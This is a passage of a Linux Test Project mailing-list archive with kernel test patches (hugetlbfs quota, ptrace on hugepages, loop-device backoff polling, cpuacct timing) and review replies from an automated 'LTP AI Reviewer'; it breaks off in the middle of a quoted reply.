References: <20260809171646.1832676-1-pavrampu@linux.ibm.com>
Message-ID: <20260809173321.8905-1-linuxtestproject.agent@gmail.com>

Hi Pavithra,

On Sun, 9 Aug 2026, Pavithra wrote:
> hugemmap/hugemmap41: Migrate ptrace-write-hugepage from libhugetlbfs

> +	tst_res(TINFO, "Poking at %p...", p);
> +	SAFE_PTRACE(PTRACE_POKEDATA, pid, p, (void *)CONST);

Could this call use TEST() or a suitable TST_EXP_* check and report failure
as TFAIL? PTRACE_POKEDATA is an operation under test, but SAFE_PTRACE()
converts a kernel regression here into TBROK.

> +/hugetlb/hugemmap/hugemmap41

Could this entry instead be added as /hugemmap41 in
testcases/kernel/mem/hugetlb/hugemmap/.gitignore? LTP keeps generated test
binary entries in the leaf test directory so they move or disappear with
that directory.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From pavrampu@linux.ibm.com  Sun Aug  9 19:49:00 2026
From: pavrampu@linux.ibm.com (Pavithra)
Date: Sun,  9 Aug 2026 23:19:00 +0530
Subject: [LTP] [PATCH v4] hugetlb/hugemmap: add hugemmap33 to test hugetlbfs
 quota accounting
Message-ID: <20260809174900.1847247-1-pavrampu@linux.ibm.com>

Test hugetlbfs quota accounting with filesystem size limits to check
for regressions in quota handling for MAP_PRIVATE and MAP_SHARED pages.

Signed-off-by: Pavithra <pavrampu@linux.ibm.com>
---
v3 -> v4:
- Check only ENOMEM for quota exhaustion in mmap() and COW mmap()
  error paths;
- Use TESTPTR() for both mmap() calls to capture return value and
  errno consistently via TST_RET_PTR and TST_ERR
- Use PATH_MAX instead of PATH_MAX + 32 for the path buffer
Link to v3: https://lore.kernel.org/ltp/20260809162202.1811452-1-pavrampu@linux.ibm.com/
---
 runtest/hugetlb                               |   1 +
 testcases/kernel/mem/.gitignore               |   1 +
 .../kernel/mem/hugetlb/hugemmap/hugemmap33.c  | 222 ++++++++++++++++++
 3 files changed, 224 insertions(+)
 create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c

diff --git a/runtest/hugetlb b/runtest/hugetlb
index 6b35c1f42..c83955987 100644
--- a/runtest/hugetlb
+++ b/runtest/hugetlb
@@ -35,6 +35,7 @@ hugemmap29 hugemmap29
 hugemmap30 hugemmap30
 hugemmap31 hugemmap31
 hugemmap32 hugemmap32
+hugemmap33 hugemmap33
 hugemmap34 hugemmap34
 hugemmap35 hugemmap35
 hugemmap36 hugemmap36
diff --git a/testcases/kernel/mem/.gitignore b/testcases/kernel/mem/.gitignore
index e63a6dde7..f4c3dd1b0 100644
--- a/testcases/kernel/mem/.gitignore
+++ b/testcases/kernel/mem/.gitignore
@@ -35,6 +35,7 @@
 /hugetlb/hugemmap/hugemmap30
 /hugetlb/hugemmap/hugemmap31
 /hugetlb/hugemmap/hugemmap32
+/hugetlb/hugemmap/hugemmap33
 /hugetlb/hugemmap/hugemmap34
 /hugetlb/hugemmap/hugemmap35
 /hugetlb/hugemmap/hugemmap36
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c
new file mode 100644
index 000000000..6a242575c
--- /dev/null
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap33.c
@@ -0,0 +1,222 @@
+// SPDX-License-Identifier: LGPL-2.1-or-later
+/*
+ * Copyright (C) 2005-2007 David Gibson & Adam Litke, IBM Corporation.
+ * Copyright (c) Linux Test Project, 2024
+ * Copyright (C) 2025-2026 Naveed & Pavithra, IBM Corporation.
+ * Assisted with AI tools
+ */
+
+/*\
+ * Test hugetlbfs quota accounting with filesystem size limits.
+ *
+ * The number of global huge pages available to a mounted hugetlbfs filesystem
+ * can be limited using a quota mechanism by setting the size attribute at
+ * mount time. Older kernels did not properly handle quota accounting for
+ * MAP_PRIVATE pages and MAP_SHARED reservations.
+ *
+ * Commit a1e78772d72b introduced MAP_PRIVATE reservations at mmap() time,
+ * so quota is checked upfront and mmap() fails with ENOMEM when over quota.
+ * Before this, quota was only checked at fault time resulting in SIGBUS.
+ *
+ * Root is required to mount the quota-limited hugetlbfs instance.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/vfs.h>
+#include <sys/statfs.h>
+#include <sys/mount.h>
+
+#include "hugetlb.h"
+
+#define MNTPOINT "hugetlbfs/"
+
+static long hpage_size;
+static int quota_mounted;
+
+/* map action flags */
+#define ACTION_COW		0x0001
+#define ACTION_TOUCH		0x0002
+
+/* Expected outcome for a quota test */
+#define QUOTA_OK		0
+#define QUOTA_FAIL		1
+#define QUOTA_COW_FAIL		2
+
+static void verify_quota_stat(long tot, long free, long avail)
+{
+	struct statfs s;
+
+	SAFE_STATFS(MNTPOINT, &s);
+
+	if ((long)s.f_blocks != tot || (long)s.f_bfree != free || (long)s.f_bavail != avail) {
+		tst_res(TFAIL, "Bad quota counters: total=%li free=%li avail=%li, expected %li %li %li",
+			(long)s.f_blocks, (long)s.f_bfree, (long)s.f_bavail,
+			tot, free, avail);
+		return;
+	}
+	tst_res(TPASS, "Quota counters are correct: total=%li free=%li avail=%li",
+		tot, free, avail);
+}
+
+static void do_map(unsigned long size, int mmap_flags, int action_flags,
+		   int expected)
+{
+	int fd;
+	char *a = MAP_FAILED, *b, *c = MAP_FAILED;
+	char path[PATH_MAX];
+
+	snprintf(path, sizeof(path), "%s/test_file_%d", MNTPOINT, getpid());
+	fd = SAFE_OPEN(path, O_CREAT | O_RDWR, 0600);
+	SAFE_UNLINK(path);
+
+	TESTPTR(mmap(NULL, size, PROT_READ | PROT_WRITE, mmap_flags, fd, 0));
+	a = TST_RET_PTR;
+	if (a == MAP_FAILED) {
+		if (expected == QUOTA_FAIL && TST_ERR == ENOMEM) {
+			tst_res(TPASS | TERRNO, "mmap failed as expected due to quota");
+			SAFE_CLOSE(fd);
+			return;
+		}
+		tst_res(TFAIL | TERRNO, "mmap failed unexpectedly");
+		SAFE_CLOSE(fd);
+		return;
+	}
+
+	if (expected == QUOTA_FAIL) {
+		tst_res(TFAIL, "mmap succeeded but quota exhaustion was expected");
+		goto cleanup_a;
+	}
+
+	if (action_flags & ACTION_TOUCH) {
+		for (b = a; b < a + size; b += hpage_size)
+			*b = 1;
+	}
+
+	if (action_flags & ACTION_COW) {
+		TESTPTR(mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0));
+		c = TST_RET_PTR;
+		if (c == MAP_FAILED) {
+			if (expected == QUOTA_COW_FAIL && TST_ERR == ENOMEM) {
+				tst_res(TPASS | TERRNO, "COW mmap failed as expected due to quota");
+				goto cleanup_a;
+			}
+			tst_res(TFAIL | TERRNO, "COW mmap failed unexpectedly");
+			goto cleanup_a;
+		}
+
+		if (expected == QUOTA_COW_FAIL) {
+			tst_res(TFAIL, "COW mmap succeeded but quota exhaustion was expected");
+			goto cleanup_c;
+		}
+
+		if (*c != 1) {
+			tst_res(TFAIL, "Data mismatch when setting up COW");
+			goto cleanup_c;
+		}
+		*c = 0;
+		SAFE_MUNMAP(c, size);
+	}
+
+	if (expected == QUOTA_OK)
+		tst_res(TPASS, "Quota test passed as expected");
+
+	SAFE_MUNMAP(a, size);
+	SAFE_CLOSE(fd);
+	return;
+
+cleanup_c:
+	SAFE_MUNMAP(c, size);
+cleanup_a:
+	SAFE_MUNMAP(a, size);
+	SAFE_CLOSE(fd);
+}
+
+static void run_quota_test(int expected,
+			   unsigned long size, int mmap_flags,
+			   int action_flags)
+{
+	pid_t pid;
+	int status;
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		do_map(size, mmap_flags, action_flags, expected);
+		exit(0);
+	}
+
+	SAFE_WAITPID(pid, &status, 0);
+
+	if (WIFSIGNALED(status))
+		tst_res(TFAIL, "Child killed by unexpected signal %d", WTERMSIG(status));
+}
+
+static void run_test(void)
+{
+	tst_res(TINFO, "Testing unused quota cleanup for untouched mappings");
+	run_quota_test(QUOTA_OK, hpage_size, MAP_PRIVATE, 0);
+	verify_quota_stat(1, 1, 1);
+	run_quota_test(QUOTA_OK, hpage_size, MAP_SHARED, 0);
+	verify_quota_stat(1, 1, 1);
+
+	tst_res(TINFO, "Testing page instantiation within quota limits");
+	run_quota_test(QUOTA_OK, hpage_size, MAP_PRIVATE, ACTION_TOUCH);
+	run_quota_test(QUOTA_OK, hpage_size, MAP_SHARED, ACTION_TOUCH);
+
+	tst_res(TINFO, "Testing page instantiation over quota");
+	run_quota_test(QUOTA_FAIL, 2 * hpage_size, MAP_SHARED, ACTION_TOUCH);
+
+	tst_res(TINFO, "Testing private mapping quota check");
+	run_quota_test(QUOTA_FAIL, 2 * hpage_size, MAP_PRIVATE, ACTION_TOUCH);
+
+	tst_res(TINFO, "Testing COW over quota");
+	run_quota_test(QUOTA_COW_FAIL, hpage_size, MAP_SHARED,
+		       ACTION_TOUCH | ACTION_COW);
+	run_quota_test(QUOTA_COW_FAIL, hpage_size, MAP_PRIVATE,
+		       ACTION_TOUCH | ACTION_COW);
+
+	tst_res(TINFO, "Testing operations within quota after failures");
+	run_quota_test(QUOTA_OK, hpage_size, MAP_SHARED, ACTION_TOUCH);
+	run_quota_test(QUOTA_OK, hpage_size, MAP_PRIVATE, ACTION_TOUCH);
+}
+
+static void setup(void)
+{
+	char mount_opts[BUFSIZ];
+
+	hpage_size = tst_get_hugepage_size();
+
+	snprintf(mount_opts, sizeof(mount_opts), "size=%luK",
+		 hpage_size / 1024);
+
+	if (mount("none", MNTPOINT, "hugetlbfs", 0, mount_opts) == -1) {
+		if (errno == ENODEV)
+			tst_brk(TCONF, "hugetlbfs not supported");
+		tst_brk(TBROK | TERRNO, "mount() failed");
+	}
+	quota_mounted = 1;
+
+	tst_res(TINFO, "Mounted hugetlbfs with quota at %s (size=%luK)",
+		MNTPOINT, hpage_size / 1024);
+}
+
+static void cleanup(void)
+{
+	if (quota_mounted)
+		SAFE_UMOUNT(MNTPOINT);
+}
+
+static struct tst_test test = {
+	.tags = (struct tst_tag[]) {
+		{"linux-git", "a1e78772d72b"},
+		{}
+	},
+	.needs_root = 1,
+	.mntpoint = MNTPOINT,
+	.forks_child = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run_test,
+	.hugepages = {2, TST_NEEDS},
+};
-- 
2.55.0


From linuxtestproject.agent@gmail.com  Sun Aug  9 20:42:07 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Sun,  9 Aug 2026 18:42:07 +0000
Subject: [LTP] hugetlb/hugemmap: add hugemmap33 to test hugetlbfs quota
 accounting
In-Reply-To: <20260809174900.1847247-1-pavrampu@linux.ibm.com>
References: <20260809174900.1847247-1-pavrampu@linux.ibm.com>
Message-ID: <20260809184207.9049-1-linuxtestproject.agent@gmail.com>

Hi Pavithra,

On Aug 9, 2026, Pavithra wrote:
> hugetlb/hugemmap: add hugemmap33 to test hugetlbfs quota accounting

> +/hugetlb/hugemmap/hugemmap33

Could this entry be placed in
testcases/kernel/mem/hugetlb/hugemmap/.gitignore instead? New test binaries
are required to be ignored in their own test directory rather than in the
parent mem ignore file.

> + * MAP_PRIVATE pages and MAP_SHARED reservations.
> + *
> + * Commit a1e78772d72b introduced MAP_PRIVATE reservations at mmap() time,
> + * so quota is checked upfront and mmap() fails with ENOMEM when over quota.
> + * Before this, quota was only checked at fault time resulting in SIGBUS.

Could these exported documentation identifiers use reStructuredText
formatting? MAP_PRIVATE, MAP_SHARED, ENOMEM, and SIGBUS should be enclosed in
double backticks, and mmap should be written as :manpage:`mmap(2)`.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From pavrampu@linux.ibm.com  Sun Aug  9 20:50:27 2026
From: pavrampu@linux.ibm.com (Pavithra)
Date: Mon, 10 Aug 2026 00:20:27 +0530
Subject: [LTP] [PATCH v8] hugemmap/hugemmap41: Migrate ptrace-write-hugepage
 from libhugetlbfs
Message-ID: <20260809185027.1867585-1-pavrampu@linux.ibm.com>

This test verifies that ptrace POKEDATA and PEEKDATA operations work
correctly on hugepage-backed memory regions. Migrating it to LTP as
libhugetlbfs is not actively maintained.

Signed-off-by: Pavithra <pavrampu@linux.ibm.com>
---
v7 -> v8:
Replace SAFE_PTRACE(PTRACE_POKEDATA, ...) with TEST() and an explicit
TFAIL check, consistent with how PTRACE_PEEKDATA is already handled.
Link to v7: https://lore.kernel.org/ltp/20260809171646.1832676-1-pavrampu@linux.ibm.com/
---
 runtest/hugetlb                               |   1 +
 testcases/kernel/mem/.gitignore               |   1 +
 .../kernel/mem/hugetlb/hugemmap/hugemmap41.c  | 132 ++++++++++++++++++
 3 files changed, 134 insertions(+)
 create mode 100644 testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c

diff --git a/runtest/hugetlb b/runtest/hugetlb
index 6b35c1f42..621c9718a 100644
--- a/runtest/hugetlb
+++ b/runtest/hugetlb
@@ -40,6 +40,7 @@ hugemmap35 hugemmap35
 hugemmap36 hugemmap36
 hugemmap37 hugemmap37
 hugemmap38 hugemmap38
+hugemmap41 hugemmap41
 hugemmap05_1 hugemmap05 -m
 hugemmap05_2 hugemmap05 -s
 hugemmap05_3 hugemmap05 -s -m
diff --git a/testcases/kernel/mem/.gitignore b/testcases/kernel/mem/.gitignore
index e63a6dde7..9e706e1c8 100644
--- a/testcases/kernel/mem/.gitignore
+++ b/testcases/kernel/mem/.gitignore
@@ -40,6 +40,7 @@
 /hugetlb/hugemmap/hugemmap36
 /hugetlb/hugemmap/hugemmap37
 /hugetlb/hugemmap/hugemmap38
+/hugetlb/hugemmap/hugemmap41
 /hugetlb/hugeshmat/hugeshmat01
 /hugetlb/hugeshmat/hugeshmat02
 /hugetlb/hugeshmat/hugeshmat03
diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c
new file mode 100644
index 000000000..d59811d8f
--- /dev/null
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap41.c
@@ -0,0 +1,132 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation.
+ * Copyright (c) 2026 Pavithra <pavrampu@linux.ibm.com>
+ */
+
+/*\
+ * Test :manpage:`ptrace(2)` write to hugepage memory.
+ *
+ * A child process maps a hugepage via hugetlbfs, zeroes it, and sends
+ * the mapped address to the parent. The parent attaches with
+ * :manpage:`ptrace(2)`, then uses PTRACE_POKEDATA and PTRACE_PEEKDATA
+ * to write and read back a known value at two different offsets within
+ * the hugepage, verifying that ptrace operates correctly on
+ * hugepage-backed memory regions.
+ *
+ * Requires root to mount hugetlbfs and for :manpage:`ptrace(2)`
+ * PTRACE_ATTACH to work across processes when ptrace_scope is
+ * restrictive.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/ptrace.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#include "tst_test.h"
+#include "hugetlb.h"
+
+#define CONST	0xdeadbeefL
+#define MNTPOINT "hugetlbfs/"
+
+static long hpage_size;
+static int fd = -1;
+
+static void child(int hugefd, int pipefd[2])
+{
+	void *p;
+
+	SAFE_CLOSE(pipefd[0]);
+
+	p = SAFE_MMAP(NULL, hpage_size, PROT_READ | PROT_WRITE, MAP_SHARED,
+		      hugefd, 0);
+
+	memset(p, 0, hpage_size);
+
+	tst_res(TINFO, "Child mapped data at %p", p);
+
+	SAFE_WRITE(SAFE_WRITE_ALL, pipefd[1], &p, sizeof(p));
+	SAFE_CLOSE(pipefd[1]);
+
+	pause();
+	/* Child is killed by parent via SIGKILL, so cleanup is not reached */
+}
+
+static void do_poke(pid_t pid, void *p)
+{
+	tst_res(TINFO, "Poking at %p...", p);
+	TEST(ptrace(PTRACE_POKEDATA, pid, p, (void *)CONST));
+	if (TST_RET == -1)
+		tst_brk(TFAIL | TTERRNO, "ptrace(POKEDATA) failed");
+
+	tst_res(TINFO, "Peeking at %p...", p);
+	TEST(ptrace(PTRACE_PEEKDATA, pid, p, NULL));
+	if (TST_ERR)
+		tst_brk(TFAIL | TTERRNO, "ptrace(PEEKDATA) failed");
+
+	TST_EXP_EQ_LU((unsigned long)TST_RET, CONST);
+}
+
+static void run_test(void)
+{
+	int pipefd[2];
+	pid_t cpid;
+	void *p;
+	int status;
+
+	fd = tst_creat_unlinked(MNTPOINT, 0, 0600);
+
+	SAFE_PIPE(pipefd);
+
+	cpid = SAFE_FORK();
+
+	if (cpid == 0) {
+		child(fd, pipefd);
+		exit(0);
+	}
+
+	SAFE_CLOSE(pipefd[1]);
+	SAFE_READ(1, pipefd[0], &p, sizeof(p));
+	SAFE_CLOSE(pipefd[0]);
+
+	tst_res(TINFO, "Parent received address %p", p);
+
+	SAFE_PTRACE(PTRACE_ATTACH, cpid, NULL, NULL);
+
+	SAFE_WAITPID(cpid, &status, 0);
+	if (!WIFSTOPPED(status))
+		tst_brk(TBROK, "Child %d was not stopped", cpid);
+
+	do_poke(cpid, p);
+	do_poke(cpid, p + getpagesize());
+
+	SAFE_KILL(cpid, SIGKILL);
+	SAFE_WAITPID(cpid, &status, 0);
+
+	SAFE_CLOSE(fd);
+}
+
+static void setup(void)
+{
+	hpage_size = tst_get_hugepage_size();
+}
+
+static void cleanup(void)
+{
+	if (fd != -1)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.mntpoint = MNTPOINT,
+	.needs_hugetlbfs = 1,
+	.hugepages = {1, TST_NEEDS},
+	.forks_child = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run_test,
+};
-- 
2.55.0


From linuxtestproject.agent@gmail.com  Sun Aug  9 21:37:08 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Sun,  9 Aug 2026 19:37:08 +0000
Subject: [LTP] hugemmap/hugemmap41: Migrate ptrace-write-hugepage from
 libhugetlbfs
In-Reply-To: <20260809185027.1867585-1-pavrampu@linux.ibm.com>
References: <20260809185027.1867585-1-pavrampu@linux.ibm.com>
Message-ID: <20260809193709.9093-1-linuxtestproject.agent@gmail.com>

Hi Pavithra,

On Mon, 10 Aug 2026, Pavithra wrote:
> hugemmap/hugemmap41: Migrate ptrace-write-hugepage from libhugetlbfs

> +	SAFE_PTRACE(PTRACE_ATTACH, cpid, NULL, NULL);

Could PTRACE_ATTACH be handled without SAFE_PTRACE() so that EPERM caused
by Yama policy can be reported as TCONF? With ptrace_scope=3 Linux denies
every attach, including requests from root, and the wrapper converts this
expected policy denial to TBROK before the test reaches PTRACE_POKEDATA.

> +/hugetlb/hugemmap/hugemmap41

Could this entry instead be placed in a .gitignore in the hugemmap leaf
directory? LTP requires new test binaries to be ignored in their own test
directory rather than from a parent directory.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From wakel@google.com  Mon Aug 10 04:58:15 2026
From: wakel@google.com (Wake Liu)
Date: Mon, 10 Aug 2026 02:58:15 +0000
Subject: [LTP] [PATCH v7 0/2] Fix overflow and use backoff polling for loop
 devices
In-Reply-To: <20260807234935.3248935-1-wakel@google.com>
References: <20260807234935.3248935-1-wakel@google.com>
Message-ID: <20260810025817.1665141-1-wakel@google.com>

This is v7 of the patch series to use backoff polling to wait for loop device nodes.

Since v6, we have split the changes into two patches and optimized the overflow fix:
1. Fix potential overflow in TST_RETRY_FN_EXP_BACKOFF() and tst_multiply_timeout()
   by using 'unsigned long long' for delay tracking variables.
2. Use backoff polling for loop device nodes (original patch logic).

This addresses the feedback from the LTP AI Reviewer regarding overflow
when LTP_TIMEOUT_MUL is large.

Wake Liu (2):
  lib: Fix overflow in backoff polling and timeout multiplication
  lib: Use backoff polling to wait for loop device nodes

 include/tst_common.h |  4 +++-
 lib/tst_device.c     | 13 +++++++++----
 lib/tst_test.c       | 11 +++++++++--
 3 files changed, 21 insertions(+), 7 deletions(-)

-- 
2.55.0.654.g21b8a5bc05-goog


From wakel@google.com  Mon Aug 10 04:58:16 2026
From: wakel@google.com (Wake Liu)
Date: Mon, 10 Aug 2026 02:58:16 +0000
Subject: [LTP] [PATCH v7 1/2] lib: Fix overflow in backoff polling and
 timeout multiplication
In-Reply-To: <20260810025817.1665141-1-wakel@google.com>
References: <20260807234935.3248935-1-wakel@google.com>
 <20260810025817.1665141-1-wakel@google.com>
Message-ID: <20260810025817.1665141-2-wakel@google.com>

Prevent integer overflow in TST_RETRY_FN_EXP_BACKOFF() when the delay
doubles. By using 'unsigned long long' for delay variables, we ensure
the doubled delay is safely represented without wrapping to 0 (which
causes an infinite loop). The loop will naturally terminate when the
64-bit delay exceeds 'tst_max_delay_' (capped at UINT_MAX).

Also fix potential overflow in tst_multiply_timeout() when the
multiplied timeout exceeds UINT_MAX. Perform the calculation in double
precision and cap the result at UINT_MAX.

Signed-off-by: Wake Liu <wakel@google.com>
---
 include/tst_common.h |  4 +++-
 lib/tst_test.c       | 11 +++++++++--
 2 files changed, 12 insertions(+), 3 deletions(-)

diff --git a/include/tst_common.h b/include/tst_common.h
index e1f7c7907..058060fa4 100644
--- a/include/tst_common.h
+++ b/include/tst_common.h
@@ -26,6 +26,8 @@
 #define LTP_ALIGN(x, a)    __LTP_ALIGN_MASK(x, (typeof(x))(a) - 1)
 #define __LTP_ALIGN_MASK(x, mask)  (((x) + (mask)) & ~(mask))
 
+unsigned int tst_multiply_timeout(unsigned int timeout);
+
 /**
  * TST_RETRY_FUNC() - Repeatedly retry a function with an increasing delay.
  * @FUNC - The function which will be retried
@@ -42,7 +44,7 @@
 	TST_RETRY_FN_EXP_BACKOFF(FUNC, ECHCK, 1)
 
 #define TST_RETRY_FN_EXP_BACKOFF(FUNC, ECHCK, MAX_DELAY)	\
-({	unsigned int tst_delay_, tst_max_delay_;			\
+({	unsigned long long tst_delay_, tst_max_delay_;			\
 	typeof(FUNC) tst_ret_;						\
 	tst_delay_ = 1;							\
 	tst_max_delay_ = tst_multiply_timeout(MAX_DELAY * 1000000);	\
diff --git a/lib/tst_test.c b/lib/tst_test.c
index 5c3607016..80463e7c6 100644
--- a/lib/tst_test.c
+++ b/lib/tst_test.c
@@ -1855,10 +1855,17 @@ unsigned int tst_multiply_timeout(unsigned int timeout)
 	if (timeout < 1)
 		tst_brk(TBROK, "timeout must to be >= 1! (%d)", timeout);
 
+	double t = timeout;
+
 	if (tst_has_slow_kconfig())
-		timeout *= 4;
+		t *= 4;
+
+	t *= timeout_mul;
+
+	if (t > (double)UINT_MAX)
+		return UINT_MAX;
 
-	return timeout * timeout_mul;
+	return t;
 }
 
 static void set_overall_timeout(void)
-- 
2.55.0.654.g21b8a5bc05-goog


From wakel@google.com  Mon Aug 10 04:58:17 2026
From: wakel@google.com (Wake Liu)
Date: Mon, 10 Aug 2026 02:58:17 +0000
Subject: [LTP] [PATCH v7 2/2] lib: Use backoff polling to wait for loop
 device nodes
In-Reply-To: <20260810025817.1665141-1-wakel@google.com>
References: <20260807234935.3248935-1-wakel@google.com>
 <20260810025817.1665141-1-wakel@google.com>
Message-ID: <20260810025817.1665141-3-wakel@google.com>

On systems where loop device node creation is asynchronous (such as
Android containers or systems with slow udev startup), calling stat()
or open() immediately after LOOP_CTL_GET_FREE can transiently fail
because the device file (e.g. /dev/loopX) has not been fully populated
in time.

Introduce an exponential-backoff retry loop in both
tst_find_free_loopdev() and tst_attach_device() by reusing the LTP
native TST_RETRY_FN_EXP_BACKOFF() macro (starting at 1us delay,
doubling each try, with a base timeout limit of 1 second that scales
automatically with LTP_TIMEOUT_MUL) to wait for the device node to be
successfully populated.

This improves the robustness of loop device allocations on asynchronous
virtualized environments while minimizing unnecessary delays on responsive
systems.

Signed-off-by: Wake Liu <wakel@google.com>
---
 lib/tst_device.c | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/lib/tst_device.c b/lib/tst_device.c
index 744173ffe..00304711b 100644
--- a/lib/tst_device.c
+++ b/lib/tst_device.c
@@ -82,7 +82,7 @@ static int set_dev_path(char *dev, char *path, size_t path_len)
 
 int tst_find_free_loopdev(char *path, size_t path_len)
 {
-	int ctl_fd, dev_fd, rc, i;
+	int ctl_fd, dev_fd, rc, i, path_set;
 	struct loop_info loopinfo;
 	char buf[PATH_MAX];
 
@@ -93,8 +93,13 @@ int tst_find_free_loopdev(char *path, size_t path_len)
 		rc = ioctl(ctl_fd, LOOP_CTL_GET_FREE);
 		close(ctl_fd);
 		if (rc >= 0) {
-			if (path && set_dev_loop_path(rc, path, path_len))
-				tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
+			if (path) {
+				path_set = TST_RETRY_FN_EXP_BACKOFF(
+					set_dev_loop_path(rc, path, path_len),
+					TST_RETVAL_EQ0, 1);
+				if (path_set)
+					tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
+			}
 			tst_resm(TINFO, "Found free device %d '%s'",
 				rc, path ?: "");
 			return rc;
@@ -161,7 +166,7 @@ int tst_attach_device(const char *dev, const char *file)
 			 LO_NAME_SIZE);
 	}
 
-	dev_fd = open(dev, O_RDWR);
+	dev_fd = TST_RETRY_FN_EXP_BACKOFF(open(dev, O_RDWR), TST_RETVAL_GE0, 1);
 	if (dev_fd < 0) {
 		tst_resm(TWARN | TERRNO, "open('%s', O_RDWR) failed", dev);
 		return 1;
-- 
2.55.0.654.g21b8a5bc05-goog


From wakel@google.com  Mon Aug 10 05:39:21 2026
From: wakel@google.com (Wake Liu)
Date: Mon, 10 Aug 2026 03:39:21 +0000
Subject: [LTP] [PATCH] controllers/cpuacct_task: Increase execution time to
 100ms
Message-ID: <20260810033921.1694744-1-wakel@google.com>

The test helper cpuacct_task currently runs for 10ms (virtual time)
before exiting. On some systems (e.g. fast virtual machines or under
heavy load), this short duration can lead to 0 usage being recorded in
cpuacct.usage cgroup file due to timing resolution or scheduling delay.

Increase the execution time to 100ms to ensure that the process runs
long enough to register a non-zero CPU usage, reducing flakiness of the
test.

Signed-off-by: Wake Liu <wakel@google.com>
---
 testcases/kernel/controllers/cpuacct/cpuacct_task.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testcases/kernel/controllers/cpuacct/cpuacct_task.c b/testcases/kernel/controllers/cpuacct/cpuacct_task.c
index 677d6d401..9519bd9b3 100644
--- a/testcases/kernel/controllers/cpuacct/cpuacct_task.c
+++ b/testcases/kernel/controllers/cpuacct/cpuacct_task.c
@@ -62,7 +62,7 @@ int main(int argc, char **argv)
 		return 1;
 	}
 
-	struct itimerval it = {.it_value = {.tv_sec = 0, .tv_usec = 10000}};
+	struct itimerval it = {.it_value = {.tv_sec = 0, .tv_usec = 100000}};
 
 	setitimer(ITIMER_VIRTUAL, &it, NULL);
 	for (;;);
-- 
2.55.0.654.g21b8a5bc05-goog


From linuxtestproject.agent@gmail.com  Mon Aug 10 05:55:39 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Mon, 10 Aug 2026 03:55:39 +0000
Subject: [LTP] controllers/cpuacct_task: Increase execution time to 100ms
In-Reply-To: <20260810033921.1694744-1-wakel@google.com>
References: <20260810033921.1694744-1-wakel@google.com>
Message-ID: <20260810035539.3921-1-linuxtestproject.agent@gmail.com>

Hi Wake,

On Aug 10, 2026, Wake Liu wrote:
> controllers/cpuacct_task: Increase execution time to 100ms

> +	struct itimerval it = {.it_value = {.tv_sec = 0, .tv_usec = 100000}};

Could this avoid increasing every helper's CPU time tenfold? The
cpuacct_100_100 runtest case starts 10,000 helpers, so this requires at least
1,000 aggregate CPU seconds. The shell harness has a 300-second default
timeout, which makes that case time out on systems restricted to three or
fewer CPUs, before accounting for setup and process-management overhead.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Mon Aug 10 05:56:01 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Mon, 10 Aug 2026 03:56:01 +0000
Subject: [LTP] lib: Fix overflow in backoff polling and timeout
 multiplication
In-Reply-To: <20260810025817.1665141-2-wakel@google.com>
References: <20260810025817.1665141-2-wakel@google.com>
Message-ID: <20260810035601.7637-1-linuxtestproject.agent@gmail.com>

Hi Wake,

On Mon, 10 Aug 2026, Wake Liu wrote:
> lib: Fix overflow in backoff polling and timeout multiplication

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From li.wang@linux.dev  Mon Aug 10 05:55:58 2026
From: li.wang@linux.dev (Li Wang)
Date: Mon, 10 Aug 2026 11:55:58 +0800
Subject: [LTP] lib: Use backoff polling to wait for loop device nodes
In-Reply-To: <20260808013246.12398-1-linuxtestproject.agent@gmail.com>
References: <20260807234935.3248935-1-wakel@google.com>
 <20260808013246.12398-1-linuxtestproject.agent@gmail.com>
Message-ID: <anlLyuZW-8dHISLB@linux.dev>

Hi Wake,

On Sat, Aug 08, 2026 at 01:32:46AM +0000, linuxtestproject.agent@gmail.com wrote:
> Hi Wake,
> 
> On Fri, 7 Aug 2026, Wake Liu wrote:
> > lib: Use backoff polling to wait for loop device nodes
> 
> > +				path_set = TST_RETRY_FN_EXP_BACKOFF(
> > +					set_dev_loop_path(rc, path, path_len),
> > +					TST_RETVAL_EQ0, 1);
> 
